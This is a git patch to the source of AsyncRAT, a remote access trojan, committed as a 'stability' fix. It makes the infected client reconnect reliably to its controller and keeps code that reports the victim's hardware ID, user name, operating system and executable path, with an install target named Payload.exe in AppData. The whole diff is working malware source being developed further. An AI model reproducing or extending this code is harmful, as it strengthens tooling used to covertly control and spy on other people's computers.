From c707c8b54302b8f5c812cbac0dc108b9cd1e9a25 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Tue, 26 Mar 2019 04:38:37 -0700 Subject: [PATCH] Fixed Stability --- AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs | 2 +- AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs | 1 - AsyncRAT-C#/Client/Program.cs | 8 +++-- AsyncRAT-C#/Client/Sockets/ClientSocket.cs | 32 ++++++++++---------- 4 files changed, 22 insertions(+), 21 deletions(-) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs index 3cfacce..0cf9307 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs @@ -7,7 +7,7 @@ namespace AsyncRAT_Sharp { public static List Online = new List(); public static int Port = 6606; - public static readonly string Version = "AsyncRAT 0.2.6"; + public static readonly string Version = "AsyncRAT 0.2.7"; public static long Sent = 0; public static long Received = 0; } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index 66f2f7d..8ea54bd 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -110,7 +110,6 @@ namespace AsyncRAT_Sharp.Sockets try { MS?.Dispose(); - Client?.Close(); Client?.Dispose(); } catch { } diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs index f304c4d..913ffe4 100644 --- a/AsyncRAT-C#/Client/Program.cs +++ b/AsyncRAT-C#/Client/Program.cs @@ -18,7 +18,7 @@ namespace Client { public static readonly string IP = "127.0.0.1"; public static readonly string Port = "6606"; - public static readonly string Version = "AsyncRAT 0.2.6"; + public static readonly string Version = "AsyncRAT 0.2.7"; public static readonly string Install = "false"; public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe"); } @@ -30,14 +30,16 @@ namespace Client static void Main() { if (Settings.Install == "true") - NormalStartup.Install(); + NormalStartup.Install(); ClientSocket.InitializeClient(); while (true) { + if (ClientSocket.Connected == false) + ClientSocket.Reconnect(); Thread.Sleep(1000); } - } + } } } \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs index df2d372..f194a76 100644 --- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs @@ -22,6 +22,7 @@ namespace Client.Sockets private static Timer Tick { get; set; } private static MemoryStream MS { get; set; } private static object SendSync { get; set; } + public static bool Connected { get; set; } public static void InitializeClient() { @@ -36,6 +37,7 @@ namespace Client.Sockets }; Client.Connect(Settings.IP, Convert.ToInt32(Settings.Port)); Debug.WriteLine("Connected!"); + Connected = true; Buffer = new byte[1]; Buffersize = 0; BufferRecevied = false; @@ -50,25 +52,23 @@ namespace Client.Sockets { Debug.WriteLine("Disconnected!"); Thread.Sleep(new Random().Next(1 * 1000, 6 * 1000)); - Reconnect(); + Connected = false; } } public static void Reconnect() { - Tick?.Dispose(); - try { - Client?.Close(); + Tick?.Dispose(); Client?.Dispose(); + MS?.Dispose(); + } + finally + { + InitializeClient(); } - catch { } - - MS?.Dispose(); - - InitializeClient(); } private static byte[] SendInfo() @@ -77,7 +77,7 @@ namespace Client.Sockets msgpack.ForcePathObject("Packet").AsString = "ClientInfo"; msgpack.ForcePathObject("HWID").AsString = HWID(); msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString(); - msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft",null) + " " + Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit"); + msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " + Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit"); msgpack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName; msgpack.ForcePathObject("Version").AsString = Settings.Version; return msgpack.Encode2Bytes(); @@ -110,7 +110,7 @@ namespace Client.Sockets { if (!Client.Connected) { - Reconnect(); + Connected = false; return; } @@ -151,13 +151,13 @@ namespace Client.Sockets } else { - Reconnect(); + Connected = false; return; } } catch { - Reconnect(); + Connected = false; return; } } @@ -168,7 +168,7 @@ namespace Client.Sockets { if (!Client.Connected) { - Reconnect(); + Connected = false; return; } @@ -186,7 +186,7 @@ namespace Client.Sockets } catch { - Reconnect(); + Connected = false; return; } } @@ -200,7 +200,7 @@ namespace Client.Sockets } catch { - Reconnect(); + Connected = false; return; } }